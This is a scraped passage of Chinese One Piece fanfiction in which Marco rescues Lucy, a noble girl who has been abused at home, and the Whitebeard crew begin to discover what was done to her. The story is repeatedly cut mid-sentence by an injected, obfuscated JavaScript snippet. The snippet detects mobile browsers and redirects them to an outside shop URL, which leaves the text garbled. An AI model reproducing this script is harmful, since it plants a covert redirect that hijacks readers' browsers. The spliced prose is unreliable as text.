紧锁的卷帘门传来一声被钝击的声响。 哈特夫人抬头,像一头母狮听到象群践踏而行的动静,本能地起身将女儿往后塞。哈特先生脸上露出惊慌,他看了母女俩一眼,咬咬牙,倒退几步远离她们,将自己缩进更远的角落。 砰! 哗—— 刺眼的火光射了进来,爱尔再一次发出孩童的尖叫。 以藏单手掀开卷帘门,弯腰一步入内,抬眸,黑发微垂。他松开手,右手的枪口还残留着硝烟。十六番队的队员们从两侧跃了进来,极快地扫视一圈,高兴出声:“队长,有水果!” 他们兴高采烈地招呼同伴用麻袋开始装货,装到侧面的时候,几个海贼转身,视线停留在那对被月光映照出惊恐面容的母女身上,微微一愣。 “咦咦咦——?有人?!!”船员们惊呼。 哈特夫人颤抖着抿住嘴唇,泪水憋在眼眶不肯落下,瘦弱的身躯贴着自己的女儿。 “小朋友,你们怎么没去逃难啊?” 爱尔看了他们一眼,缩回母亲身后。船员们尴尬地挠了挠头。 躲在货架与墙壁缝隙的哈特先生,眼神在母女俩和高大的海贼之间来回,他动了动嘴唇,眼中闪过狠意。下一秒,男人爬出来,重重将头磕在地上。 “你们要什么都可以!求求你们放过我……” “啊,不,我们不是……”十六番队的队员们尴尬极了,连连摇手。 他们又不是坏人,有必要这样害怕吗? “……” 等等,他们似乎是海贼呢…… 海贼,是坏人吧? 哈特先生磕了几个头,颤颤巍巍抬起脸,他一眼就知道这个容貌艳丽的青年是这群人的领头。 以藏除了最开始那一眼,一直看着母女俩。男人低垂眼帘,汗水混合着尘土从下巴滴落。他咬了咬牙,像是迫不得已做出了什么痛心的决定,高声道:“她、她是我的女儿……如果几位大哥看、看上——” 十六番队的视线因为这句话转过身看他。 “就就就给你们了!” 水果店内一瞬间陷入寂静。 “能……能跟着大哥是她运气好!……店里的东西你们随便拿,随便拿……求求你们,给我一条活路吧——” 船员们没有出声。他们的嘴巴张的老大,艰难地吞咽了一下口水,小心翼翼地去瞄以藏的脸色。 “你在说什么!!” 哈特夫人凄声厉喝,反身扑在孩子身上,将女儿死死压在墙壁和自己单薄的身体之间,不容许任何人靠近她。 “不,不要带走我的孩子!你们谁都不能带走我的孩子!” “以藏队长……” “装东西。” 冰冷的声音传来,队员们猛地一颤,对视一眼,低头去装水果。 以藏生气了。 他没有动作,只是静静地站在原地,锋利的视线落在那对喃喃着发抖的母女身上。直到队员们报告装完了水果,他才很慢地移开视线,扫了一圈店内的情况。 十六番队的队员们绕开自家队长小跑着往门口去。他们顺手将地上残留的水果捡起来,擦了擦放回台子上。几个人颇难为情地在门口弯腰鞠了个躬,推搡着溜出店。 可惜哈特夫人的全部心神都在面前这个压迫感十足的青年身上,她恶狠狠地盯着以藏,没有注意到队员们的举动。哈特先生倒是瞧见了,一边觉得奇怪,一边不敢揣测,试探着移动到楼梯的转角。 长久的沉默后,以藏终于动了。 他收起了自己的燧发枪。 “你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“贵族啊……”他化成不死鸟拍打着翅膀飞起,“贵族在哪里都是一样啊yoi。” 哗。 马尔科下意识抬头。 夜色中,凉风吹拂过窗帘,一个金发的女孩赤着脚站在破碎的窗户边。 马尔科脚下的世界因为喧嚣的火光像流淌的岩浆,女孩头顶的夜空却漆黑一片。他们在各自割裂的红与黑中对视,隔着一条无形的天际线。噼啪,酒店前的招牌突然倒下,错位的拼图完美卡合在一起。 你好,命运。 “……” “是你!”女孩率先尖叫,一脸惊喜,“我就知道你是真的!” 马尔科晚了半秒:“我们认识吗?” 他看着女孩身上单薄的裙子,她呈现出一种不自然的瘦弱,好像下一秒就会被风吹落顶楼。 “……” 她被吹下来了!! “喂!”马尔科的心脏在那一刻几乎停跳。他飞速冲过去,用不死鸟的形状接住对方,冰凉的身体落在他的背上,他悬着的心才勉强落下。 “你还真掉下来了。”他托着女孩停在另一栋楼顶,没好气地问她,“你家人呢?我送你过去。” 背上传来一点轻微的拉扯感,他嘶了一声,扭头去看那个孩子:“小孩,别拔我的毛啊yoi。” 刚刚还一脸勇敢的女孩此刻紧紧闭着双眼,整个人蜷缩成一团,像是在害怕。几秒后,夜风卷起她的碎发,她颤颤巍巍地睁眼,视线逐渐在身下柔软的蓝色上聚焦。 她先是愣了愣,然后抬起眼睛望向马尔科。棕色的眼球颤抖了一下,泪水瞬间溢出眼眶,她哇地哭了起来。 马尔科愣住了。 “咦,我长得也不丑啊?”他不太确定地低头去看不死鸟的身体。 “你……你别哭,要我的羽毛玩吗yoi?或者我带你飞一圈?” 他笨拙地挥了挥翅膀,不知所措地安慰。 老天,让他哄孩子?他又不是那些夏洛特,他不会啊! 马尔科急得脑门都要冒汗了。 要不——干脆变回来算了? 女孩哭得稀里哗啦,将泪水抹在马尔科的羽毛上。她不是因为害怕摔落,而是害怕自己睁眼后发现一切都是虚假的。她还在那个漆黑的房间里穿着窒息的束腰,阿葵亚也出现在梦里。 女孩抓着那团温暖的蓝色,抽噎着揉了揉眼睛,扑过去用力抱住他的脖子。 马尔科感觉到轻的跟棉花似的小家伙贴着他,像只傻乎乎的小动物心疼地梳着他的羽毛。她嘴里含糊地念叨着什么,像是在自言自语。马尔科扭头去听,女孩却松开手下会流淌的蓝色贴住青年转身过来的头。 “阿葵亚,露西终于——终于找到你了!”她绽开一个惨兮兮的,重获新生的笑。 “……” “啊???” 7. 船上的大家都好热情 马尔科愣了几秒,轻轻咂嘴。 “小孩,你认错人了。” 露西疑惑地从他身后爬起来,以为自己真的认错了。她皱着眉看了一会,眉头突然展开,整个身体重重扑在鸟背上,咯咯地笑了起来:“阿葵亚!” “都说了我不是yoi……”马尔科的声音里有几分无奈。 “你就是!”女孩生气地抬头,“露西才不会认错呢!” 蓝色,漂亮,喜欢鱼缸,这就是阿葵亚! 马尔科叹了口气,一种无力感涌上心头,他耷拉着眼皮,转身朝人群飞去。 “所有人都在准备离岛,我把你放在那儿,你自己去找你的家人,没问题吧yoi?” “咦咦咦——”露西震惊,“你不带我走吗?” “怎么可能,我们根本不认识啊……” 夜风吹过鸟背,那些和太阳一样炙热的火焰此刻温顺地伏在孩子脚下,好像河川里流动的水草。露西见对方不搭理自己,向前爬了两步,眼神里写满难以置信。 阿葵亚,不要她? 为什么?! 巨大的惊慌攥住孩子小小的心脏,明明每一天她们都在梦中见面,那个场景,露西甚至能将它完整地画下来。即使阿葵亚看起来很冷漠,露西也从不怀疑,她在热切地盼望她们的相遇。 可是现在…… 泥土的气味钻进鼻子,露西低头,看见马尔科真的驮着她朝西北方飞去,她听到人群的吵闹声,看到救生船上熟悉的背影,心里顿时害怕起来。 马尔科只觉得脖子处突然传来勒感,他一个急停,扭头去看她:“喂喂,你干嘛yoi?” 露西闭着眼,两只小手使出吃奶的劲环住不死鸟的脖子,嘴巴抿成一条直线。她将自己的小脸憋得通红,一句话也不肯说,好像这样马尔科就无法将她送走。 “醒醒,睁眼。”马尔科抖了抖,背上传来不情愿的哼唧,脖子处的力道又大了几分。 他诡异地沉默了几秒,开口问道:“……你该不会以为这样我就不把你送回去吧?” 猜、猜中了! 露西震惊。 阿葵亚是天才吗?! 露西什么都没有说,她就知道她在想什么诶! 紧接着,她明白过来对方那句话的意思,一股被抛弃的委屈涌上心头。她张着蜜糖色的眼睛水汪汪地看着青年,像一只哭红眼的兔子,浑身颤巍巍地舔着自己湿漉的毛尖。 一秒,两秒。 豆大的泪珠掉在马尔科背上。 马尔科:“……” “你看我也没用,我一定要把你送回去。你不回家,家人会担心的yoi。”马尔科僵硬地别过头。 “呜呜,阿葵亚不要露西了!阿葵亚是骗子!”露西嚎啕大哭,“露西是一个人了——” “都说了我不是阿葵亚。”马尔科挥动翅膀转弯,落在小巷尽头的烟囱上。他感到一种说不出的疲惫,无论和这个孩子说什么话,对方都只有哭和重复两个反应。 一根熟悉的蓝色羽毛从眼前飘过,马尔科瞥了一眼,瞬间警觉。 等一下,那好像是他的毛。 ……他掉毛了? 可恶,不要揪他的毛啊! 虽说他有再生之炎,可掉的毛是他的!这种东西就和头发一样,掉了就回不来了啊!再生无能! 细密的焦急爬上肩膀,马尔科连忙探头去看岛民们的情况,恨不得立刻将这个小恶魔送出去。 挤在前排的居民对贵族插队的行为非常不满,生死攸关,他们才顾不得身份,指着对方破口大骂。海军几乎控制不住愤怒的人群,可贵族还在不急不慢地登船,因为行李箱塞不下,竟然指使维护队伍的海军过来帮忙。 啪! 一块石头砸中那个贵族。 现场瞬间混乱。 越来越多的菜叶、石头、麻绳在平民们的怒骂声中铺天盖地地砸向救生船。海军扯着嗓子命令他们后退,贵族们尖叫着躲进船舱,而愤怒的平民终于冲开阻拦朝着救生船跑去,一时间无数人被推倒,撞上墙壁,哭喊和叫骂混在一起。 马尔科看着混乱的人群皱起眉。 如果把这小孩现在放下去…… 他的视线落在救生船上。 可是,如果将她放在船上,自己这副模样肯定要引起恐慌。 怎么办呢? “你不要丢下我哦。”露西适时地从他脖子后窜出来,紧紧抱住不放,“我是不会离开你的。” “别说这种会引起歧义的话啊yoi,话说我们本来就不是一起的好吧。”马尔科忍不住吐槽。 就在这时, 砰。 很轻微的声音传进两人耳中。马尔科意识到,那是以藏的枪声。他在鸣枪示意该走了。 脚底是逃命的人群,马尔科扭头看了一眼北岸,墨蓝色的海岸线与天幕连在一起,分不清距离。 放?不放? 几秒后,青年重新睁眼。 “哎,老爹肯定要骂我了……” 明蓝色的不死鸟咕哝着,掉头,挥动双翅遁入黑夜。 …… “噗——!!” 萨奇一口水喷出来。 “马尔科,这才多久,你就有女儿了?” “咦?!!”笨蛋船员们瞪着眼睛扭头去看。 “你们倒是动动脑子啊,我登岛才半个小时yoi!”马尔科靠在白胡子身边的木箱上,叉着腰没好气地回应。 露西站在甲板上,四周全是陌生人。她抓着自己的裙子,茫然地环顾。 阿葵亚去哪儿了? 哈尔塔从人群中挤出来,看着那个比自己矮上许多的小不点,他眼睛一亮,高兴地围着她转了一圈:“搞什么马尔科,怎么带回来一个小孩?” 以藏抱着手,上下打量一番:“这身打扮……她是贵族吧?” “别给老爹找事了,新世界的贵族大多来自加盟国,快把人送回去。” “我倒是想啊……”马尔科无奈地摸了摸头,看了露西一眼,“岛上太乱了,总不能把她随地一丢。” 况且—— 他的眼神闪了闪。 他记得这孩子刚刚从酒店顶楼跳了下来。 白胡子坐在木箱上,看着金发的女孩没有说话。 “跳楼?”萨奇惊讶地转身,“没想到啊小姑娘,这么勇敢?像个海贼!” 以藏反驳:“她可是贵族,怎么看都是逃命的时候撞上马尔科,迫不得已跳楼吧。” “谁说的,也可能是被抛弃了。”哈尔塔蹲下来,莫比迪克号上第一次有比他还矮的家伙,少年心中升起一股得意的优越感,撑着腿问她:“喂,你是被抛弃了吗?” 露西仰头转了一圈,这些哥哥的话她一句也听不懂。女孩此时只有一个想法——她要找到阿葵亚。 她努力地看向大人们的裤子,再往上够了一点,勉强看到胸口。她仰得太多了,吧唧一下坐在地上,把海贼们吓了一跳。 露西撑着地爬起来,拍了拍屁股重新站好。她认真地看着那些稀奇古怪的衣服,心里念叨: 苦瓜,窝瓜,南瓜…… 唔……没有阿葵亚。 好奇怪啊! 露西抱住自己的脸。 露西一转身,阿葵亚就不见了! 女孩惊奇地发现这个事实,视线回到前方时,哈尔塔正好手撑着腿大开。相似的姿势,孩子默认对方想要抱她,伸手,身体微微前倾,靠在少年怀里。 哈尔塔愣住了,一双手僵在原地。属于孩子的淡淡的奶香混合着夜风的气味萦绕在他的鼻尖,他第一次被这种柔软的生物靠近,心里破天荒地生出退缩的心思。桀骜不驯的少年下意识倒退,想要快速站起逃离,但露西就像年糕一样缠在他身上,肉肉的小手环住他的脖子。哈尔塔感受到那团重量向自己倒来,全身心地贴在他的怀里。 噗通,噗通。 属于孩子的心跳从自己的胸口传来。 他撕开孩子的手一下子没了力气。 哈尔塔将手放在露西背上,一触即离,仿佛一只受惊的猫。收回手后,少年却眨了眨眼,像是摸到什么新奇的东西。 “……喂,以藏,这家伙好轻啊。”他将露西抱了起来。 哈尔塔眼中流露出一种好奇的探究,他并不会抱孩子,只是双手环住她的腰将她拔起来带在怀里。 起身那刻,他才惊觉——他真的抱着一个人? 从未有过的新鲜感令少年咧开嘴笑了,眼神里满是兴奋。露西乖乖地趴在他的肩上,圆溜溜的大眼睛随着少年动作扫过围观的船员。 还是没看到阿葵亚呢。 女孩失望地想。 “你是香皂吗?”哈尔塔闻了闻她的衣服,发出惊叹,“还是棉花?” “你真的是人吗?” 啪。 “哎哟!” 以藏用枪柄敲了他一下。 “干嘛!我又没说错!”哈尔塔抱着孩子转身,“不信你们来瞧!我就没见过这么轻的人!” “真的吗?哈尔塔,让我也抱抱。”萨奇半信半疑地凑过去。 他凑过去,哈尔塔又不肯了,抱着露西的手直往回缩,好像身上挂着的是个宝贝,生怕别人抢了去。 “走远点萨奇,这是我的!” “别自私嘛……” “不,在我手上的就是我的。” “你还真是海贼啊。”马尔科嘴角抽搐。 萨奇才不管他,朝着孩子的方向张开双臂。哈尔塔想说什么,可露西已经下意识回应了那个张开的怀抱,松开环着哈尔塔的手,从他怀里探身向前够去。萨奇乐呵呵地将人抱过来,同样咦了一声。 “她好轻啊!”面包头的男人眼中亮起星星,一只手托着孩子屁股,一只手扶着后背,转身激动地看向船员们,“比船上的面包都轻!” “真的?” 船员们来了兴趣,包括队长,一群大老粗胡子邋遢地围成圈,将萨奇和孩子围在中间。他们一个比一个高,对露西来说就像书上的巨人一样。孩子好奇地抬头,继续抬头,抬到头都仰过去啦,根本看不到头顶嘛! “萨奇,也让我抱抱……”布拉曼克挤开船员们,露西一下子就被他胸口粉色的熊吸引了注意。 “布拉曼克,我和你说,她真的像一团棉花。”萨奇边说边转了个身避开布拉曼克的手,“你就别抱了,你一个不小心,她会死的。” “喂萨奇,把人还给我!”哈尔塔跳上木箱喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以藏抱着露西来到老爹面前。露西看着这个高大的男人,他的眼神很温和,白色的胡子和露西会画的月亮一样弯弯的。他比所有人都要高大,也比所有人都要苍老,可是他身上有一种比他们加起来都要磅礴的力量,安静、深邃,就像他们脚下的海洋。 “小鬼,到我的船上来,你想要做什么?” 厚重的声音传进露西耳朵里。露西莫名感到一种压力,就像见到奥特卢克三世,她的父亲,站在自己面前。她抓着以藏衣领的手下意识揪紧。 以藏察觉到孩子细微的变化,看了她一眼。 “没事的,老爹很温柔,你不要怕他,回答他的问题就好。”他轻声道。 露西扭头看他,脸上写着十分好懂的“你没骗我吧?”的表情。她又看了白胡子一眼,眉头都快揪在一起分不开了。几秒后,对以藏这张脸的喜欢胜过了心中的存疑,她松开自己的小手,双腿往下蹬了蹬。以藏顺势将她放在地上。 露西落在甲板上,一只手抓着以藏的和服,一只手藏在裙子边,细声细气地问道:“请问,你看到我的阿葵亚了吗?” 话音一出,整个莫比迪克号面面相觑。 “阿葵亚?” “她一直在问,谁知道那是什么?” 听到熟悉的名字,露西有了一点自信,挺起胸膛认真地朝他们解答:“阿葵亚是我的星灵。她很漂亮,最喜欢住在鱼缸里。” “哦,是星灵啊。”海贼们点头。 “等等,她?!” 他们像听到什么恐怖的事情,一瞬间齐齐后退。 “我记得主船没有女性战斗人员吧。” “是那个吧那个,幽灵之类的……” “笨、笨蛋!要说船灵啊!幽灵什么的根本不存在!” 白胡子看着这群冷汗直冒的傻儿子,哼了一声。他的目光重新回到那个还在抬头环顾的金发女孩身上,不急不慢地问她:“小鬼,还记得自己从哪里来吗?” 哦豁。 露西心里一惊。 她猛地倒吸一口凉气,脑海中迅速闪过母亲的教鞭落在身上时候的记忆。父亲的巴掌,令人晕眩的金色大厅,窒息的贵族孩子的礼仪与勾心斗角的交谈…… “不、不记得啊……露西完全不记得自己是从哥亚来的呢……” 孩子僵硬地移开脑袋看向侧方,嘴巴和眼神却不停往反方向瞟,疯狂流汗。 【啊,全暴露了呢。】 船员们想。 马尔科无奈地摇头,眼神微微一动。 哥亚?没记错的话,是东海那边吧?怎么会来新世界? 他心思转了一圈,看向白胡子。 “老爹,怎么办?” 白胡子看着那个打死都不承认自己撒谎,还以为自己瞒得很好的女孩,咕啦啦啦地笑了起来。他撑着腿站起,转身朝自己的座位走去。 “你看着办。” 马尔科点头,平静的目光落在被自己救下的女孩身上。他看着那双干净得没有阴霾,没有见过新世界风雨的眼睛。 这样的眼睛,她应该回家去,回东海,在爱里长大,成为一个好姑娘。 绝不能留在新世界。 马尔科叹了口气,宣布:“下一座岛屿就把她放下。” 8. 黄金羊羔 第二天上午,莫比迪克号。 哈尔塔被海风吹醒,捂着脑袋从甲板上爬起来。头重脚轻的,他一下子撑在地上,胃里那种翻江倒海的劲再次涌上来。他的头好像被人用钻子钻了个洞,疼到额心。少年晃晃悠悠地爬起,扶着船沿一步步往餐厅走去。 不一会儿,以藏也进来了。他难得喝的这么醉,坐在靠边的椅子上揉着头。四番队的家伙们看见两位队长,停下手里的事情打了个招呼,对他们这副模样见怪不怪。哈尔塔躺在长椅上,像条死鱼似的张着嘴。 甲板上传来骂骂咧咧的推搡声。海贼们终于一个接一个爬起,有人冲到船边开始呕吐,更多人被自己身上腌入味的酒气熏到,肿着两只眯成缝的眼睛,一边傻笑一边东倒西歪地叠在一起,扑进餐厅。他们半梦半醒地和队长们问好,摸着墙跌坐进椅子里。 吱—— 伴随着刺耳的噪声,他们瘫在桌边,转眼又开始呼呼大睡。 “萨奇,有水吗?”以藏一手扶着额头,一手轻轻按压自己的太阳穴,他的嗓音和平时比起来微带了些沙哑,唇上的口脂淡了,也许是昨天不小心抹到脸颊,衬得这位微蹙眉头的青年更艳了几分。 萨奇咬着牙签用布擦拭碗盘。他的视线停留在食材清单上,听到以藏的自言自语,顺口说道:“既然难受,昨晚就别喝那么多酒。” 哈尔塔为了反驳将自己撑起来,又重重趴回面前的桌上:“我们可是从岛上回来!大半夜的不喝酒,难道去睡觉吗?” “本来就该睡觉啊。”萨奇笑话他们,“马尔科就没跟着你们胡闹,一番队一早就散了,布拉曼克也没有。整条船就你们两队喝到天亮。” 哈尔塔不服气地抬头想要反驳,刚抬头就疼地嘶了一声低下头去:“我们可是海贼……” “哈尔塔,老爹说你贪杯真是一点没错。” 咚! 突然,餐厅外传来异常清晰的响声。 萨奇回头,只见露西一脸平静地走进来,脑门上好大一个包。 “……你是?”萨奇一时间没想起来对方是谁。 露西小大人似的提起裙角,微微屈膝,说道:“早上好。” 她穿着沾有污渍的裙子,头发也乱糟糟地披在身后,脸色更是白得像抹了粉一样。可她并没有松懈自己的礼仪,反而一如既往地挺直背脊,像个优雅的淑女那样一边颔首一边向陌生的大人行礼。 萨奇被这正式的问候惊到,下意识学着她的模样站直,礼貌回应:“啊,早上好。” “萨奇,你姿势不对。”以藏揉着头勉强看了一眼。 “你少管。”萨奇动了动嘴唇,问她,“你——不困吗?” 她可是半夜上船的,还和他们在甲板上闹了那么久。 “不困哦。” 啪。 下一秒,她被踢脚线绊倒摔在地上。 餐厅里静了一秒。 露西撑着地爬起来,眼睛肿的和鸡蛋一样,全是红血丝。 “啊……”女孩拍了拍裙子端庄地宣布,“我一点也不困。” 啪叽。 她又摔了一跤。 萨奇:“……” 萨奇强压下自己想要冲过去扶人的冲动,看着女孩走两步摔一下,一路摔到吧台前。餐厅里睡觉的大伙全吵醒了,他们睡眼惺忪地爬起来,看见露西踮着脚爬上高凳,将自己放在萨奇面前。她扭了扭屁股坐端正,拍拍自己的小裙子,抬头,礼貌道:“请问我可以吃早饭吗?” 萨奇下意识点头,突然意识到对方说了什么。面包头的青年倒吸一口凉气,颤抖着捂住嘴巴,眼中流出感动的泪水。 “天哪……我做了一锅的早餐,终于有人想吃了……” 他擦了擦不存在的眼泪,换上亲昵到有些恶心的笑脸乐呵呵地转身去给露西盛饭。 “这艘船上全是浪费粮食的家伙,没一个人尊重厨师!”他越说越气,饭勺重重砸在锅里,“你敢相信吗,我神清气爽地起床,走到甲板——好啊,这是怎么做到的?酒水和食物都臭了!” 哈尔塔接过四番队队员给自己的水,听到这句话,入口的水猛地吐出来。他皱着眉将杯子放到桌上,回道:“萨奇,你蛐蛐谁啊?” 萨奇瞬间变脸:“我说的就是你,整个海贼团就数你们十二番队最浪费食物!” “哈?”哈尔塔怒了,撑着桌子站起来,“不可能!” 以藏头疼地劝他:“哈尔塔——别和他争。” 但哈尔塔踉踉跄跄走到吧台边上,跳上凳子,猛拍那张小桌:“我可不是那种浪费的人,上早饭!” “好!”萨奇眼睛亮了,一掌拍在工作台上,“有本事你全吃下去,你要是浪费一粒米,今天的甲板就由你们队负责!” “负责就负责!” 两人眼中燃起不服输的火焰。萨奇看了他一会,突然意识到身边怎么这么安静。他扭头,马尔科昨夜带回来的小女孩现在没动静了。他探头去看,惊讶地缩回来。 居然坐着睡着了! 萨奇叹气:“明明就是小孩嘛。” 哈尔塔眯着眼将自己的头发甩到脑后,他努力分辨声音来源,最终撑着桌子凑过去,歪着脑袋看她。他看了好久,不太清醒的意识终于开始运作,他慢吞吞坐回位子,朝着以藏喊道:“以藏,快来看!这家伙坐着睡着了诶!” 以藏抬头看了一眼,视线从露西挺直的后背和微微低垂的脑袋上扫过。她的双手放在腿上,脸蛋歪向一侧,金发柔顺地散在脑后。虽然睡着,孩子却依然保持着落座时的姿势,真的像一位经受过严格训练的公主。 “连坐着睡都这么优雅,果然是位贵族的小小姐啊。” 哈尔塔伸手在露西面前晃悠,想要试探她是不是真的睡着,眼见他的手往孩子的脸蛋去,萨奇立马把饭端到哈尔塔面前,说:“吃你的饭,别吵她。” 哈尔塔收回手,好奇的视线还落在孩子身上,几秒后才回到面前热腾腾的饭。哈尔塔看着满满一盆海鲜炒饭,大米的香气混合着青葱和海鲜炒过的气味扑鼻而来,他却胸口涌上一阵恶心,干呕一声,别过头看向地板。 “昨天确实喝得有点多了……”少年有气无力地开口。 萨奇把饭放到露西面前,挑衅:“哈尔塔,吃不下没关系,记得把甲板擦、干、净——” “瞧不起谁啊!” 这时,一直沉睡的露西动了。她明明还在睡,却下意识坐直,开始进食。萨奇比了个噤声的手势,哈尔塔压低声音喊了两声以藏,示意他抬头。真是奇了怪了。孩子拿起勺子,舀起饭放到嘴边,轻轻咀嚼。一二三四五六七,整整三轮,二十一下,她开始舀下一勺。 萨奇看得下巴快掉了:“……这是吃饭?” 露西的身体没有丝毫前倾,也不会为了吃的伸长脖子,好像身体和桌子之间有一面无形的墙壁似的。为了不让米粒落下,每一次她只舀三分之一勺子的量。萨奇惊奇地看着,可是没等他看出什么名堂,露西已经放下勺子。 “多谢款待。”孩子礼貌地点头道谢。 萨奇低头看了眼盘子,确认自己没有眼花。 “你吃了五口。” “我吃饱了。” “你只吃了五口。” “我已经吃饱了。” 露西露出一个练习过的微笑。 咕噜—— 一声响亮的饥饿从孩子肚子里传来。 “吃饱了?” 萨奇挑了挑眉。 这孩子明明在咽口水啊。 萨奇想,一看就还饿着呢。 可她偏要说自己已经吃饱了,什么原因? 其实什么原因都无所谓,在萨奇眼里,只要面前的人饿了,他就愿意做饭,而只要对方觉得饿,就应该吃饱。 “想吃就吃吧。”萨奇看着女孩,露出一个有些柔软的眼神,“没有人会怪你吃得多,毕竟你再怎么吃也不可能比得过这群男人。” 露西听到他的话,诧异地看了他一眼。 他没事吧? 孩子想,怎么能说这种话呢?他不怕被打吗?他不怕穿不进衣服,被罚挨饿吗? 数百次的经验让露西早就明白该怎么应对这种场合。母亲曾经让仆人们端着整整一排的菜站在自己身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984339|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从芝麻酱的沙拉到配菜的小羊排,从烤的松软的面包到浓郁的番茄汤,露西盯着它们,口水直泻而下。 【露西,你想吃吗?】 孩子疯狂点头。 【啪!】 盘子被掀翻了。 【你怎么可以说自己想吃!】 母亲厉声尖叫。 【你已经吃饱了!你不能吃!】 露西心疼地看着洒在地上的食物,汁水渗进地毯里,明明那么美味,却要像垃圾一样被人丢弃。 迪迪特夫人十分不满女儿的走神,她转身拿起鞭子。 …… 如果大人问你还想吃吗,他们绝不是真的想让露西吃。他们是在测试露西。这种时候,露西就应该拒绝,表示自己绝对不会吃。这样子,大人才会高兴。 露西露出一副自己明白的眼神,咽下口水,嘴角扬起对着镜子练习过的笑容:“不,我已经吃饱了,我一点都不饿的,请把食物拿开吧。” 可是,出乎她的意料,萨奇不仅没有露出母亲那样欣慰的眼神,反而眯起眼。 “你知道对着厨子浪费他做的菜是什么后果吗?” 从没见过的反应。 露西愣住了。 萨奇故作凶狠地瞪着她:“快吃,吃不完我会生气的。” 【我会生气的。】 露西抖了一下。她无从分辨萨奇是不是真的生气,仅仅是这句话,记忆的创伤就被唤醒。她想起奥特卢克爵士,她的父亲,那张严肃古板的脸。当他说出这句话后,他会毫不留情地抬手打她,甚至不需要借助任何工具。仅仅是一只手,就能把露西扇在地上眼冒金星。 露西的脸一下子白了。 她的脑门上冒出细细的汗珠,小手一边发抖,一边重新拿起勺子往嘴里送。她送的那么急,那么害怕,呼吸都在颤抖。 以藏醒过来了,他是唯一一个意识到有哪里不对的人。以藏看着正在点头,觉得自己做了件好事的萨奇开口提醒:“萨奇,贵族进食是有要求的,她吃不了那么多。” “你懂什么。”萨奇不以为然,“她明明就是饿了,这个年纪的孩子必须多吃点才能长身体。” 饿? 露西不饿。 你要惹我生气吗? 露西饿。 两种矛盾的想法在孩子脑袋里打架,她不知道该听谁的。她茫然地往嘴里塞东西,一直,一直,甚至早就超过了她平时的进食量,超过了她偷偷背着父母吃东西的食量。 肚子在咕噜叫,胸口开始发紧。胃部被食物塞满,喉咙口传来异样的堵塞感。露西觉得整个身体说不出哪里难受,四肢也酸疼,肚子里好像装着石头和气球。她一口一口机械地往嘴里塞,希望自己能在这个哥哥生气前吃完。可是碗太大了,无论她怎么舀,面前的菜都像从来没有减少过。可怕极了。 露西,你必须吃完,吃不完,他会打你的,像母亲那样,像父亲那样。 哈尔塔看着女孩眯起眼睛,她的脸色越来越白,和快要死的人一样,整个人仿佛一张摇摇欲坠的纸片,轻轻一撕就开了。 他心里浮现一种不太好的预感。 “呕——” 下一秒,孩子吐了。 她再也忍不住,猛地趴在桌上,一口饭菜混合着反胃的酸水狼狈不堪地吐了出来。萨奇和哈尔塔吓了一跳。 露西却比他们看起来还要惊慌。 “对、对不起……”她的眼睛里满是惊恐,仿佛自己做了什么伤天害理的事情。她像一只金色的小羊羔,还没学会走路就颤颤巍巍地开始跑,想要讨好羊圈边的人。露西的双手无处安放,眼泪瞬间蓄满眼眶。她憋着一口气,小脸涨的通红。 他要打我了! 她僵硬地抬头对上萨奇同样震惊的眼神。 露西一下子就明白了,他没反应过来。 一种庆幸涌上心头。 他没发现。 所以,还可以补救。 孩子连忙拿起勺子,将自己吐出来的东西重新舀起,往嘴里送—— “别吃了!” 萨奇一把抓住她的手。 9. 正确的 萨奇看着女孩,脸色僵硬的恐怖。他动了动嘴唇,从没见过的事情令他一下子大脑短路,不知道如何处理。但他心里除了震惊还有一种更深的名为不正确的意识。他一把将露西面前的碗收走,朝着旁边大喊:“以藏!以藏!” “快,送她去马尔科那!” …… “吃吐了?” 房间里的氛围由餐厅那种温暖喷香的喧闹转为一种沉淀的安静。马尔科坐在椅子上,以为自己听错了。 以藏复述了一遍餐厅里发生的事情,马尔科了然地点头,转身问露西:“我要给你做个检查,可以吗?” 孩子苍白着脸点头。 “可能会碰到你,所以你觉得难受要讲出来yoi。”马尔科在孩子面前蹲下,轻声地和孩子互动,他小心地摸了摸几处地方,询问露西哪里痛,点点头起身靠在桌子边。 “就是吃多了。”青年一锤定音,“她的身体已经适应了,吃不下那么多东西,只能慢慢来。” 他观察着露西的脸色,孩子明明觉得不舒服,却强压着不肯躺下,连蜷缩也不让自己缩起,简直像是自虐。马尔科有些烦躁地揉了揉头,叹气:“顺便全身检查一下吧。” “我一会给你配药,你拿着药,去船后面找一个金发的护士……” 马尔科的话突然断在喉咙中。 他难以置信地看着被自己卷起来的袖子。 袖子下,孩子两条手臂伤痕累累。不是那种新鲜的伤,而是一条一条,陈旧的,堆叠在一起的伤痕。白色的,青色的,紫红色的。 很浅,很深,很刺眼。 马尔科沉默了。 他把露西的手心翻开来。 几秒后,男人将手心合上。 无名的怒气冲上天灵,他低下脑袋扶住自己的额头。 “……” 一种难挨的寂静在房间里弥漫开来。 “…她叫罗莎娜,把药交给她,告诉她你肚子难受。她看到药就知道怎么做。” 马尔科几乎不敢再抬头看那个女孩,他将袖子重新放下,声音冷硬,带着压抑的愤怒,手指却瑟缩了一下。他站起来回到自己的座位开始配药,露西看着他,不明白他为什么突然像是变了一个人。 咚咚咚。 